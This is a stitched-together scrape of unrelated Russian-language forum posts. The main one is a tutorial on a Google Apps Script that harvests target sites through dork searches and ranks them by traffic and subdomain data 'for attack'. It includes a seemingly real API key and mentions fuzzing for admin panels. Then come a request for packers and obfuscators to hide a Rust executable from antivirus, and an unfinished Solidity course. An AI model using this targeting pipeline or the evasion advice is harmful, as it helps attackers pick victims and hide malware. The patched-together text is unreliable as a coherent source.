console.log('Start fetching by url: ', url);
return fetchData(url);
}
function getHypeStatData(domain) {
const url = `${API_GET_HYPESTAT}${domain}`;
const options = {
muteHttpExceptions: true
}
console.log(url)
return fetchData(url, options);
}
Как видно из нового кода, добавил простую функцию-надстройку для получения данных с hypestat. muteHttpExceptions: true позволит нам не прерывать выполнение кода, если прилетел корявый ответ от сервера. В ином случае, будем получать исключение.
Дописываю основной цикл. В коде нашей функции, getStatistics() заменяю “//...General loop...” на:
JavaScript:Copy to clipboard
for(let i = domainRow; i < lastRow; i++) {
const domain = sheetResults.getRange(i, 1).getValue();
const data = getHypeStatData(domain);
if (!data.success) {
console.log('Error request: ' + domain);
//Останавливаем выполнение, если ошибка.
return;
}
saveHypeStatToSheet(sheetResults, i, data);
ScriptProperties.setProperty('domainRow', i);
}
Что уже сделано?
Займусь функцией saveHypeStatToSheet(). Есть несколько принципиальных моментов, которые нужно для себя решить. Во-первых, какие данные собирать. Во- вторых, как их хранить. Как видно из JSON, который возвращает API, все свойства представляют собой массивы. Причем, многая информация не имеет какого-то смыслового значения для атаки.
Я решил выделить ряд значений в отдельные ячейки, чтобы удобно было искать, сортировать, фильтровать. Все остальное тупо целиком сохранять в ячейки:
В итоге, функция сохранения выглядит следующим образом:
JavaScript:Copy to clipboard
function saveHypeStatToSheet(sheet, row, {data}) {
const {traffic, traffic_sources, desktop_vs_mobile,
visitors_by_country, subdomains, host,
technologies, whois} = data;
sheet.getRange(row, 8, 1, 9).setValues([[
traffic[0]?.daily_visits,
traffic_sources[0]?.paid,
desktop_vs_mobile[0]?.mobile,
visitors_by_country[0]?.country,
visitors_by_country[0]?.visits_percent,
subdomains,
host,
technologies,
whois
]]);
}
Обращаю внимание людей не знакомых с синтаксисом ES6 JS, что при получении параметров, дата получается через деструктуризацию. Если посмотреть на объект, который отдает HypeStat, одно из свойств “data’, оно нам и нужно.
Делаю тестовый запуск и получаю ошибку:
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXcm6QZ8hR7OF_LgOYi34Oeowa4Cu2IdaeU9s-_OImkUTLJm1iDOO9MIec6e-aiBomvV8xdS8tjvAUUimB5PkX4F2DbK0O3ZeewB0P59BFoqapmvAY62NCYY9NTJCFziuVV97dCcU_vbI8YsAz2ph06ktdV-%3Fkey%3D5znuiPYb-
AhKO-zHQE384w&hash=c71363f7876603c1a8194a1ec8f85e7f)
Отлично, есть повод добавить обработку подобной ошибки. Жаль не возвращает код
ошибки, придется весь текст запихать в константу. Причем, учитывая наличие
домена в ответе, проще искать текст ошибки, а не сравнивать. Текст ошибки
добавляю в константы.
Пока вешаю заглушку, позже добавим поиск информации через API StatsCorp, мы же делаем нормальное стабильное решение с максимум данных.
JavaScript:Copy to clipboard
if (!data.success) {
console.log('Error request: ' + domain);
if (data.errors.reason.includes(ERROR_HYPSTAT_NONE)) {
sheetResults.getRange(i, 8).setValue('NOT HAVE DATA')
continue
} else {
//Останавливаем выполнение, если неизвестная ошибка.
return;
}
}
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXfVIF1JEpclFfX1k5l0fQ77Ws4v3hMKNEMBQMoex7QGmYp6dhzcklfR6dFYj6a38jYk5rNAy2TmMHMQohclSIgtpT_2k-9kM3JWDdKUvjDmusX9hBymjrQHhQY4mPPNoqlR_gDflPZYHzuf3ifl4Lurymre%3Fkey%3D5znuiPYb- AhKO-zHQE384w&hash=b25196629e9fab4e8c900dd9fab1c1e5)
Как видно, все прекрасно работает. Да, к сожалению, множества данных нет. Но что поделать. Нет универсального решения, которое позволило бы получать все необходимые данные по любому сайту в один клик. В целом, и так получено не мало. Но самое время добавить функционал дополнения данными из StatsCorp.
JavaScript:Copy to clipboard
function getStatsCorpData(domain) {
const url = `${API_GET_CORPSTAT}${domain}`;
return fetchData(url);
}
function saveStatsCorpData(sheet, row, data) {
const {visitors, countries, subdomains} = data;
sheet.getRange(row,8,6).setValues([[
visitors,
'',
'',
countries[0].name,
countries[0].percent.replace('%',''),
subdomains
]])
}
По сути, тоже самое, что и с HypeStat, только объем возвращаемых данных гораздо меньше и отсутствует muteHttpExceptions: true.
Правильно будет выделить код, который отвечает за статистику в отдельный файл. Добавил фйал stats.gs и перетащил в него функции связанные со статистикой:
Заодно, перекладываю doGet() и fetchData() в файл http (теперь у нас порядок и структура) и добавлю в проверку времени выполнения в getStatistics():
JavaScript:Copy to clipboard
let currentTime = new Date().getTime();
let seconds = (currentTime - startTime) / 1000;
if (seconds > MAX_TIME_STATS) {
console.log('Time end');
return;
}
Для этой функции таймер поставил побольше, так как она работает в разы быстрее и скрипт не прервется на середине выполнения, в отличии от скрипта парсинга целей.
![](/proxy.php?image=https%3A%2F%2Flh7-us.googleusercontent.com%2Fdocsz%2FAD_4nXelmsB9ITpZmuMEGKZ7b8HF- FUHJDeHGNT5iCMd3sfqnsZHJB_dVJGYDzw5mMquI9O1p_VU8X2edbIKumlzhMfFUyT0AU6oUNdkgCTM8aHSLAggESzklKYLmQVAAvEQIQYOJc54khufic4d307-k2antr0%3Fkey%3D5znuiPYb- AhKO-zHQE384w&hash=34b8f88d4ebcdbb5317c3cccdc77b70e)
На мой взгляд, тема стоит внимания.Сама по себе статистика посещаемости крайне важна, позволяет не распылять свои ресурсы. А уж паразитирование на чужих сервисах еще и бесплатно… ну вы поняли)))
Если подобные статьи интересны — дайте знать и продолжим. Как минимум, после прошлых публикаций мне поступали вопросы в личку. В частности был вопрос по поводу того, как ускорить процесс поиска админок. Фаззинг большого количества таргетов отнимает очень много времени. Я хоть и стараюсь избегать ответов на вопросы, так как часто считаю себя недостаточно компетентным, но по теме поиска админок есть пару полезных мыслей. Которыми без проблем поделюсь.
В конце хочу напомнить еще раз про квоту Google - 20 000 запросов с 1 аккаунта в сутки. К сожалению, это сильно связывает руки и не дает возможности переложить все на ресурсы таблиц. Но есть элегантный выход из ситуации — обогащать данные снаружи, например, скриптом на Python и передавать их в таблицу, используя стандартный триггер doPost(). Приведу простой пример этой функции, который будет записывать данные из POST-запроса в таблицу на лист log:
JavaScript:Copy to clipboard
function doPost(e) {
/**
* Добавьте лист с именем "log" для тестирования
* После добавления функции не забудьте сделать Deploy веб-приложения
* Когда все готово, отправьте POST запрос на url, который выдал Google
* после Deploy. Данные отправленные в запросе будут лежать в
* e.postData.contents
*
* В ответ, скрипт отправит весь объек e
*/
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetLog = xss.getSheetByName('log')
sheetLog.getRange(1,1).setValue(e.postData.contents)
return ContentService.createTextOutput(JSON.stringify(e))
}
Опираясь на этот пример и статью, вам не составит труда разобраться, как передавать данные в обе стороны. Подробнее про деплой в первой части: https://xss.is/threads/116628/
Итоговые файлы проекта:
Spoiler: main.gs
JavaScript:Copy to clipboard
let startTime = new Date().getTime();
function getDataFromXMLAPI(dork) {
const url = `${API_URL}?user=${API_USER}&key=${API_KEY}&groupby=100&domain=37&device=desktop&hl=en&lr=2840&filter=1&query=${encodeURIComponent(dork)}`;
console.log('Start fetching by url: ', url);
return fetchData(url);
}
function getClearURLData(url) {
const [protocol, tail] = url.split(':');
const host = tail.replace('//','').split('/')[0];
return {
protocol, host, domain: protocol.concat('://', host)
}
}
function parseJSONToSheet_(json, sheet, dork) {
const {results} = json;
for(let i = json.first; i <= json.last; i++) {
const clearURLData = getClearURLData(results[i].url)
console.log('Append data: ', [results[i].url, results[i].title, results[i].passage, ,dork])
sheet.appendRow([clearURLData.host, clearURLData.domain, results[i].url, results[i].title, results[i].passage, ,dork]);
}
}
function startParsing(currentDork) {
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetDorks = xss.getSheetByName(SHEET_DORKS);
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
const lastDork = sheetDorks.getLastRow() + 1;
for(let i = currentDork; i < lastDork; i++) {
let currentTime = new Date().getTime();
let seconds = (currentTime - startTime) / 1000;
if (seconds > MAX_TIME_SEC) {
console.log('Time end');
return;
}
const dorkValue = sheetDorks.getRange(i, 1).getValue();
const result = getDataFromXMLAPI(dorkValue);
parseJSONToSheet_(result , sheetResults, dorkValue);
currentDork++;
ScriptProperties.setProperty('currentDork', currentDork);
}
}
Spoiler: const.gs
JavaScript:Copy to clipboard
const API_URL = `https://xmlstock.com/google/json/`;
const API_KEY = `YOUR_API_KEY`;
const API_USER = 00000;
const API_REGION = 2840;
const SHEET_DORKS = `dorks`;
const SHEET_RESULTS = `results`;
const SHEET_ADMIN_PANELS = `panels`;
const MAX_TIME_SEC = 280;
const MAX_TIME_STATS = 330;
const API_GET_HYPESTAT = 'https://hypestat.com/api/E9asC1KOutzPrlALHn34X/';
const API_GET_CORPSTAT = 'https://extensions.statscrop.com/api/v1/data/?domain=';
const ERROR_HYPESTAT_NONE = 'is not found in HypeStat database. It will be analyzed as soon as possible.';
Spoiler: http.gs
JavaScript:Copy to clipboard
function doGet(e) {
let {offset,count} = e.parameters;
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
if (!offset || offset < 1) offset = 1
if (!count || count > 1000) count = 1000;
if (offset >= sheetResults.getLastRow()) {
return ContentService.createTextOutput({success:true, count: 0, results:[]}).setMimeType(ContentService.MimeType.JSON)
}
const results = sheetResults.getRange(offset, 1, count).getValues().map(el => el[0]).filter(Boolean)
return ContentService.createTextOutput(JSON.stringify({success:true, count: results.length, results})).setMimeType(ContentService.MimeType.TEXT);
}
function resetDorkRow() {
ScriptProperties.setProperty('currentDork', 1);
}
function startParsing() {
let currentDork = parseInt(ScriptProperties.getProperty('currentDork'));
if (!currentDork) {
currentDork = 1;
ScriptProperties.setProperty('currentDork', currentDork);
}
startParsing(currentDork);
}
function doPost(e) {
/**
* Добавьте лист с именем "log" для тестирования
* После добавления функции не забудьте сделать Deploy веб-приложения
* Когда все готово, отправьте POST запрос на url, который выдал Google
* после Deploy. Данные отправленные в запросе будут лежать в
* e.postData.contents
*
* В ответ, скрипт отправит весь объек e
*/
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetLog = xss.getSheetByName('log')
sheetLog.getRange(1,1).setValue(e.postData.contents)
return ContentService.createTextOutput(JSON.stringify(e))
}
function fetchData(url, options={}) {
const response = UrlFetchApp.fetch(url, options);
const content = response.getContentText();
console.log('Response:');
console.log(content);
const json = JSON.parse(content);
return json;
}
Spoiler: stats.gs
JavaScript:Copy to clipboard
function getHypeStatData(domain) {
const url = `${API_GET_HYPESTAT}${domain}`;
const options = {
muteHttpExceptions: true
}
console.log(url)
return fetchData(url, options);
}
function saveHypeStatToSheet(sheet, row, {data}) {
const {traffic, traffic_sources, desktop_vs_mobile,
visitors_by_country, subdomains, host,
technologies, whois} = data;
sheet.getRange(row, 8, 1, 9).setValues([[
traffic[0]?.daily_visits,
traffic_sources[0]?.paid,
desktop_vs_mobile[0]?.mobile,
visitors_by_country[0]?.country,
visitors_by_country[0]?.visits_percent,
subdomains,
host,
technologies,
whois
]]);
checkAndSelectAdminSub(sheet, row, subdomains);
}
function getStatsCorpData(domain) {
const url = `${API_GET_CORPSTAT}${domain}`;
return fetchData(url);
}
function saveStatsCorpData(sheet, row, data) {
const {visitors, countries, subdomains} = data;
sheet.getRange(row,8,6).setValues([[
visitors,
'',
'',
countries[0].name,
countries[0].percent.replace('%',''),
subdomains
]])
}
function getStatistics() {
let domainRow = parseInt(ScriptProperties.getProperty('domainRow'));
if (!domainRow) {
domainRow = 1;
ScriptProperties.setProperty('domainRow', domainRow);
}
console.log('Initialized rows;' + domainRow)
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
const lastRow = sheetResults.getLastRow() + 1;
console.log('Last row: ' + lastRow)
for(let i = domainRow; i < 33 + 1; i++) {
let currentTime = new Date().getTime();
let seconds = (currentTime - startTime) / 1000;
if (seconds > MAX_TIME_STATS) {
console.log('Time end');
return;
}
const domain = sheetResults.getRange(i, 1).getValue();
console.log(domain)
let data = getHypeStatData(domain);
console.log(data)
if (!data.success) {
console.log('Error request: ' + domain);
if (data.errors.reason.includes(ERROR_HYPESTAT_NONE)) {
try{
data = getStatsCorpData(domain);
saveStatsCorpData(sheetResults, i, data);
}catch(e) {
sheetResults.getRange(i, 8).setValue('NOT HAVE DATA')
continue
}
} else {
//Останавливаем выполнение, если неизвестная ошибка.
return;
}
}
console.log('Start save to sheet')
saveHypeStatToSheet(sheetResults, i, data);
console.log('Saved')
ScriptProperties.setProperty('domainRow', i);
}
}
As the title states... can anyone throw off some good references or code examples to help protect a rust executable from AV? Such as packers, protectors and obfuscators that can be used for rust src codes?
Всем привет! Выпало чуток свободного времени, бесплатно напишу софт по вашему ТЗ/помогу скомпилить/исправить существующий софт. Все исходники будут выкладываться в теме.
Курс Solidity: от начального до продвинутого
1. Введение в блокчейн и Ethereum
2. Основы криптовалют и токенов
3. Введение в смарт-контракты
4. Язык программирования Solidity: обзор и основы
5. Установка и настройка среды разработки
6. Основы синтаксиса Solidity
7. Типы данных в Solidity
8. Переменные и их область видимости
9. Функции в Solidity
10. Модификаторы функций
11. Условные операторы и циклы
12. Обработка ошибок и исключений
13. Работа с массивами и структурами данных
14. Определение и использование структур
15. Определение и использование перечислений
16. Введение в наследование
17. Интерфейсы и абстрактные контракты
18. Внешние и внутренние функции
19. Оптимизация кода смарт-контрактов
20. Введение в тестирование смарт-контрактов
21. Использование Truffle Framework
22. Разработка и тестирование смарт-контрактов с использованием Remix IDE
23. Развертывание смарт-контрактов на тестовой сети
24. Развертывание смарт-контрактов на основной сети Ethereum
25. Взаимодействие с смарт-контрактами через Web3.js
26. Создание пользовательского интерфейса для смарт-контрактов
27. Интеграция смарт-контрактов с веб-приложениями
28. Работа с оракулами и внешними данными
29. Разработка децентрализованных приложений (DApps)
30. Создание собственного токена ERC20
31. Создание собственного токена ERC721 (NFT)
32. Создание децентрализованного автономного организма (DAO)
33. Разработка децентрализованной биржи (DEX)
34. Разработка системы голосования на основе смарт-контрактов
35. Разработка децентрализованных финансовых приложений (DeFi)
36. Создание платформы для краудфандинга на основе смарт-контрактов
37. Разработка платформы для децентрализованного хранения данных
38. Создание децентрализованной социальной сети
39. Введение в протоколы стейкинга и ликвидности
40. Разработка смарт-контрактов для стейкинга и ликвидности
41. Создание платформы для децентрализованной торговли цифровыми активами
42. Разработка децентрализованных игр на основе смарт-контрактов
43. Введение в Layer-2 решения и их использование
44. Создание смарт-контрактов с использованием Optimism и zk-SNARKs
45. Разработка смарт-контрактов для кросс-чейн взаимодействия
46. Разработка децентрализованных идентификационных систем
47. Работа с IPFS и Filecoin для децентрализованного хранения данных
48. Создание маркетплейса для NFT
49. Разработка смарт-контрактов для страхования и деривативов
50. Создание платформы для децентрализованного управления репутацией
51. Разработка децентрализованных системы голосования
52. Введение в протоколы оракулов, такие как Chainlink
53. Разработка смарт-контрактов с использованием оракулов Chainlink
54. Создание смарт-контрактов для децентрализованного кредитования
55. Разработка смарт-контрактов для децентрализованных
Обзор блокчейн-технологии
Блокчейн-технология является одним из самых значимых технологических достижений последних лет. Она представляет собой децентрализованную, распределенную и надежную базу данных, которая позволяет хранить и передавать цифровую информацию безопасно и прозрачно. В этом обзоре мы рассмотрим основные аспекты блокчейн-технологии.
1. Структура блокчейна
Блокчейн состоит из последовательности связанных блоков, каждый из которых
содержит набор транзакций или других данных. Блоки связаны друг с другом с
помощью криптографических хешей, обеспечивая непрерывность и целостность всей
цепочки.
2. Транзакции
Транзакции являются основным элементом блокчейна, поскольку они представляют
собой действия, производимые участниками сети. Транзакции могут включать
передачу цифровых активов, выполнение смарт-контрактов или запись данных.
Транзакции проверяются и добавляются в блоки.
3. Консенсус
Блокчейн-сети используют различные алгоритмы консенсуса для достижения
согласия между участниками сети относительно состояния блокчейна. Некоторые из
наиболее распространенных алгоритмов консенсуса включают доказательство работы
(Proof-of-Work), доказательство доли (Proof-of-Stake) и другие.
4. Децентрализация
Одно из ключевых преимуществ блокчейн-технологии заключается в
децентрализации, которая обеспечивает отсутствие единой точки отказа и
устойчивость к цензуре. Данные в блокчейне хранятся на множестве узлов, и
каждый узел имеет полную копию цепочки блоков.
5. Безопасность и прозрачность
Блокчейн обеспечивает высокий уровень безопасности и прозрачности благодаря
использованию криптографии и технологии распределенного реестра. Изменение
данных в одном блоке делает необходимым изменение всех последующих блоков, что
практически невозможно сделать без обнаружения.
В целом, блокчейн-технология предлагает ряд преимуществ, таких как децентрализация, безопасность, прозрачность и устойчивость к манипуляциям. Эти качества делают блокчейн особенно привлекательным для различных применений, включая финансовые транзакции, управление данными и создание децентрализованных приложений.
Пункт "Работа блокчейна: блоки, транзакции и консенсус" охватывает основные аспекты функционирования блокчейн-технологии. Эти аспекты включают:
1. Блоки: Блокчейн состоит из последовательности блоков, связанных друг с другом криптографическими методами. Каждый блок содержит набор транзакций, метаданные и хеш предыдущего блока. Благодаря этой структуре, изменение данных в одном блоке требует изменения всех последующих блоков, что делает блокчейн защищенным от мошенничества и атак.
2. Транзакции: Транзакции - это действия, которые передают цифровые активы или информацию между участниками сети. В контексте криптовалют, транзакции включают передачу монет между адресами. В случае смарт-контрактов, транзакции могут выполнять функции контракта и изменять состояние контракта. Транзакции подписываются цифровыми подписями, что обеспечивает их подлинность и неотказуемость.
3. Консенсус: Консенсус - это процесс достижения согласия между участниками сети о состоянии блокчейна. Важно, чтобы все участники сети имели одинаковое представление о состоянии блокчейна, чтобы предотвратить двойные траты и обеспечить надежность системы. Существует несколько алгоритмов консенсуса, таких как Proof of Work (PoW), Proof of Stake (PoS) и Delegated Proof of Stake (DPoS). Эти алгоритмы используют различные механизмы для достижения согласия и обеспечения безопасности сети.
В целом, пункт "Работа блокчейна: блоки, транзакции и консенсус" объясняет, как блокчейн-технология обеспечивает децентрализацию, безопасность и прозрачность в обработке транзакций и управлении данными.
Пункт "Различные типы блокчейнов: публичные, частные и консорциумы" разбирает три основных вида блокчейнов, их особенности и применение в разных сферах.
1. Публичные блокчейны: Эти блокчейны являются открытыми и доступными для всех желающих. Участники могут свободно присоединяться к сети, отправлять транзакции, участвовать в майнинге и валидации блоков. Примеры публичных блокчейнов включают Bitcoin, Ethereum и Litecoin. Они обеспечивают высокую степень децентрализации, но могут страдать от низкой пропускной способности и медленных времен подтверждения транзакций.
2. Частные блокчейны: В отличие от публичных блокчейнов, частные блокчейны контролируются одной организацией или группой организаций. Доступ к сети ограничен, и только уполномоченные участники могут отправлять транзакции и валидировать блоки. Частные блокчейны обеспечивают лучшую масштабируемость и быстрое время подтверждения транзакций, но они менее децентрализованы и могут подвергаться централизованному контролю. Примеры частных блокчейнов включают Hyperledger Fabric, R3 Corda и Quorum.
3. Консорциумы (федеративные блокчейны): Эти блокчейны являются совместными сетями, контролируемыми группой организаций или сторон, которые договорились о правилах управления сетью и достижении консенсуса. Участники консорциума могут быть разными организациями, представляющими разные отрасли или интересы. Консорциумы сочетают преимущества частных и публичных блокчейнов, обеспечивая контроль и масштабируемость, но также сохраняя определенную степень децентрализации. Примеры блокчейнов консорциума включают B3i (страхование), R3 (финансы) и EWF (энергетика).
На этом этапе курса студенты получают понимание различных типов блокчейнов, их преимуществ и недостатков, а также сценариев использования в зависимости от потребностей и целей проекта.
Пункт "Преимущества и недостатки использования блокчейна" рассматривает плюсы и минусы технологии блокчейн, чтобы студенты могли лучше понять, когда использование блокчейна является целесообразным и когда нет.
Преимущества блокчейна:
1. Децентрализация: Блокчейн устраняет необходимость в централизованных посредниках, таких как банки, правительства или другие организации, что уменьшает риск мошенничества и уязвимости от атак.
2. Безопасность: Блокчейн использует криптографические методы для обеспечения безопасности данных, что делает его сложным для атакующих изменить или украсть информацию.
3. Прозрачность: Все транзакции в публичных блокчейнах являются открытыми и доступными для проверки, что способствует доверию между участниками сети.
4. Неизменность: После записи транзакции в блокчейн, ее невозможно изменить или удалить, что обеспечивает надежность и сохранность данных.
5. Автоматизация: Смарт-контракты позволяют автоматизировать процессы и снизить издержки на посредников.
Недостатки блокчейна:
1. Пропускная способность: Публичные блокчейны могут страдать от низкой пропускной способности и медленных времен подтверждения транзакций из-за ограничений в размере блока и времени создания блока.
2. Масштабируемость: Блокчейн может столкнуться с проблемами масштабируемости, особенно когда число транзакций и участников сети растет.
3. Энергетическая эффективность: Некоторые блокчейны, основанные на консенсусе Proof of Work (доказательство работы), потребляют большое количество энергии для майнинга, что вызывает экологические опасения.
4. Регуляция: Блокчейн и криптовалюты сталкиваются с регулятивными ограничениями и неопределенностью, что может затруднить широкое применение технологии.
5. Сложность технологии: Блокчейн является относительно новой и сложной технологией, что может создавать препятствия для внедрения и разработки.
Изучая этот пункт, студенты получают более сбалансированное представление о блокчейне и могут принимать обоснованные решения о том, стоит ли использовать технологию блокчейн для конкретных проектов и приложений.
Пункт "Хэширование и хэш-функции" объясняет ключевые концепции, связанные с хэшированием в контексте блокчейн и криптографии. Хэширование является важным инструментом для обеспечения безопасности и целостности данных в блокчейн- системах.
1. Хэширование: Хэширование - это процесс преобразования входных данных (независимо от размера) в фиксированный размер выходного значения, называемого хэшем. Хэш-функции широко используются в криптографии и блокчейне для обеспечения безопасности и целостности данных.
2. Хэш-функции: Хэш-функции - это математические алгоритмы, которые принимают входные данные и генерируют уникальный и непредсказуемый хэш-код для каждого набора данных. Они обладают следующими свойствами:
а) Детерминированность: Для одного и того же входного значения функция всегда будет выдавать один и тот же хэш.
б) Быстрота: Хэш-функции должны быть достаточно быстрыми для обработки большого объема данных.
в) Аваланш-эффект: Малейшее изменение во входных данных должно приводить к существенному изменению хэша, делая его непредсказуемым.
г) Однонаправленность: Хэш-функции должны быть необратимы, то есть сложно восстановить исходные данные, зная только хэш.
д) Устойчивость к коллизиям: Хэш-функции должны быть устойчивы к коллизиям, то есть сложно найти два разных набора данных, которые дадут один и тот же хэш.
3. Применение хэширования в блокчейне: Хэширование играет важную роль в блокчейне, обеспечивая безопасность и целостность данных. Некоторые из основных применений хэширования в блокчейне включают:
а) Создание уникальных идентификаторов для транзакций и блоков.
б) Использование в алгоритмах консенсуса, таких как Proof of Work (доказательство работы) и Proof of Stake (доказательство доли).
в) Обеспечение целостности данных путем связывания блоков в цепочку с использованием хэшей предыдущих блоков.
г) Проверка транзакций и подтверждение их подлинности с использованием криптографических подписей и хэш-функций.
Изучая этот пункт, студенты получают основы хэширования и хэш-функций, что позволяет им лучше понимать, как обеспечивается безопасность и целостность данных в блокчейн-системах и криптографии.
Пункт "Цифровые подписи и публично-секретная криптография" охватывает ключевые концепции и технологии, связанные с использованием цифровых подписей и криптографии с открытым ключом для обеспечения безопасности и подтверждения подлинности транзакций в блокчейн и других криптографических системах.
1. Цифровые подписи: Цифровая подпись - это криптографический механизм, который позволяет создателю сообщения подтвердить свою личность и гарантировать целостность сообщения. Цифровые подписи используются в блокчейн, чтобы убедиться, что только владелец криптовалюты может осуществлять транзакции с ее использованием.
2. Публично-секретная криптография (асимметричная криптография): Это метод криптографии, который использует пару ключей - открытый ключ (публичный) и закрытый ключ (приватный). Открытый ключ может быть свободно распространяем, в то время как закрытый ключ должен оставаться строго конфиденциальным. Открытый ключ используется для шифрования данных, а закрытый ключ - для их расшифровки.
3. Процесс создания цифровой подписи: Создание цифровой подписи включает следующие шаги:
а) Создание хэша от сообщения: Сообщение (например, транзакция) сначала хэшируется с использованием хэш-функции, чтобы получить уникальное и компактное представление сообщения.
б) Шифрование хэша с использованием закрытого ключа: Затем полученный хэш шифруется с использованием закрытого ключа отправителя. Результатом является цифровая подпись.
в) Прикрепление цифровой подписи к сообщению: Цифровая подпись затем прикрепляется к исходному сообщению или транзакции.
4. Проверка цифровой подписи: Чтобы проверить цифровую подпись, получатель выполняет следующие действия:
а) Расшифровка подписи с использованием открытого ключа: Получатель расшифровывает цифровую подпись с использованием открытого ключа отправителя. Результатом является исходный хэш сообщения.
б) Создание хэша от полученного сообщения: Получатель также создает хэш от полученного сообщения с использованием той же хэш-функции.
в) Сравнение хэшей: Если оба хэша совпадают, это означает, что цифровая подпись действительна, и сообщение не было изменено в процессе передачи.
Изучая этот пункт, студенты получают знания о цифровых подписях и публично- секретной криптографии, что позволяет им лучше понимать, как обеспечивается безопасность и подтверждается подлинность транзакций в блокчейн и других криптографических системах.
Пункт "Механизмы доказательства работы (Proof-of-Work) и доказательства доли (Proof-of-Stake)" рассматривает два основных консенсусных алгоритма, используемых в блокчейн-сетях для подтверждения транзакций и создания новых блоков. Эти алгоритмы играют ключевую роль в обеспечении безопасности и стабильности блокчейн-сетей.
1. Доказательство работы (Proof-of-Work, PoW): PoW - это консенсусный алгоритм, который требует от участников сети (майнеров) выполнения сложных вычислительных задач для создания нового блока и добавления его в блокчейн. Этот процесс известен как майнинг. Майнер, который первым решает задачу, получает вознаграждение в виде криптовалюты (например, биткоина). PoW обеспечивает безопасность сети, заставляя атакующих потратить большие вычислительные ресурсы для проведения атаки, что делает их экономически невыгодными.
2. Доказательство доли (Proof-of-Stake, PoS): PoS - это альтернативный консенсусный алгоритм, который не требует от участников сети (валидаторов) выполнения сложных вычислений. Вместо этого участники сети должны доказать свою "долю" в системе (обычно в виде криптовалюты) для участия в процессе создания новых блоков. Валидаторы выбираются на основе их доли и других факторов, таких как возраст монет и случайность. PoS считается более экологичным и эффективным подходом, поскольку он требует меньше энергии и вычислительных ресурсов.
Изучая этот пункт, студенты получают знания о различных механизмах консенсуса, используемых в блокчейн-сетях, и их важности для обеспечения безопасности и стабильности сети. Также они узнают о преимуществах и недостатках каждого подхода, что может помочь им в выборе подходящего алгоритма для своих проектов на основе блокчейна.
Ethereum - это децентрализованная платформа с открытым исходным кодом, основанная на технологии блокчейн, которая позволяет разработчикам создавать и развертывать смарт-контракты и децентрализованные приложения (DApps). Она была создана Виталиком Бутериным и запущена в 2015 году. Ethereum имеет свою криптовалюту - Ether (ETH), которая используется для транзакций и оплаты комиссий внутри сети.
Основные компоненты Ethereum:
1. Смарт-контракты: Это автономные программы, которые автоматически выполняют условия контракта между сторонами. Они написаны на языке программирования Solidity и хранятся в блокчейне.
2. DApps (децентрализованные приложения): Это приложения, которые работают на основе смарт-контрактов и используют блокчейн для обеспечения децентрализации и безопасности данных.
3. Ether (ETH): Криптовалюта Ethereum, используемая для выполнения транзакций и оплаты комиссий за использование ресурсов сети.
4. Blockchain: Распределенная база данных, которая хранит все транзакции и смарт-контракты в сети Ethereum. Блокчейн обеспечивает безопасность и прозрачность данных.
5. Консенсусные алгоритмы: Ethereum использует алгоритмы доказательства работы (PoW) и доказательства доли (PoS) для поддержания согласованности сети и создания новых блоков.
6. Виртуальная машина Ethereum (EVM): Это глобальная исполняющая среда для смарт-контрактов, которая обеспечивает их корректное и безопасное выполнение.
Изучение Ethereum и его основных компонентов позволяет разработчикам понять, как создавать и внедрять смарт-контракты и DApps, а также обеспечивать безопасность и децентрализацию в своих приложениях.
Ethereum Virtual Machine (EVM) - это децентрализованная, среда выполнения кода с открытым исходным кодом, которая специально разработана для платформы Ethereum. EVM является ключевым компонентом инфраструктуры Ethereum и отвечает за выполнение умных контрактов, написанных на языке программирования Solidity или других совместимых языках.
Основные характеристики EVM:
1. Тьюринг-полная: EVM является Тьюринг-полной средой выполнения кода, что означает, что она способна выполнять практически любой алгоритм, при условии достаточного времени и доступных ресурсов.
2. Децентрализация: EVM работает на множестве узлов в сети Ethereum, обеспечивая безопасность, неподконтрольность и отказоустойчивость.
3. Умные контракты: EVM предназначена для выполнения умных контрактов, автоматически выполняющихся сценариев, которые могут обрабатывать и хранить информацию, а также выполнять финансовые операции.
4. Газ: Для ограничения злоупотребления ресурсами и предотвращения бесконечных циклов, EVM использует систему газа. Газ является единицей измерения стоимости выполнения операций в умных контрактах и оплачивается в криптовалюте Ether.
5. Изоляция: Умные контракты в EVM выполняются в изолированной среде, чтобы предотвратить взаимное влияние и уязвимости между контрактами.
6. Совместимость: EVM поддерживает различные языки программирования, такие как Solidity, Vyper и другие, что облегчает разработку и внедрение умных контрактов.
В целом, Ethereum Virtual Machine играет важную роль в экосистеме Ethereum, обеспечивая безопасное и эффективное выполнение умных контрактов и поддерживая децентрализованные приложения (dApps).
Умные контракты являются ключевым компонентом экосистемы Ethereum и играют важную роль в децентрализации и автоматизации процессов. Умный контракт - это самостоятельный код, который автоматически выполняет определенные действия на основе заданных условий и событий. Они обеспечивают транспарентность, надежность и автономность взаимодействия между участниками сети без необходимости доверять третьим сторонам.
Умные контракты в экосистеме Ethereum выполняют следующие функции:
1. Автоматизация транзакций: Умные контракты позволяют автоматически выполнять транзакции при соблюдении определенных условий, что упрощает и ускоряет процесс обмена ценностями и сокращает затраты на посредников.
2. Создание децентрализованных приложений (DApps): Умные контракты служат основой для создания DApps, которые обеспечивают децентрализованные и безопасные сервисы для пользователей.
3. Организация децентрализованных автономных организаций (DAO): Умные контракты позволяют создавать DAO, которые управляются коллективом участников без централизованной власти или контроля.
4. Обеспечение безопасности и надежности: Умные контракты хранятся и выполняются на блокчейн, что гарантирует их неизменность и доказательство выполнения.
5. Комплексные финансовые операции: Умные контракты могут использоваться для создания сложных финансовых инструментов, таких как децентрализованные биржи, стабильные монеты, займы и страхование.
6. Соблюдение условий контракта: Умные контракты гарантируют выполнение условий контракта, так как они автоматически активируются при наступлении определенных условий.
В целом, умные контракты играют центральную роль в экосистеме Ethereum, способствуя децентрализации, автоматизации и безопасности взаимодействия между участниками сети.
Основные различия между Ethereum и другими блокчейн-платформами можно описать следующим образом:
1. Фокус на смарт-контрактах и децентрализованных приложениях (DApps): Ethereum был разработан с основной целью создания платформы для разработки и выполнения смарт-контрактов и DApps, в то время как многие другие блокчейн- платформы, такие как Bitcoin, фокусировались на криптовалютах и финансовых транзакциях.
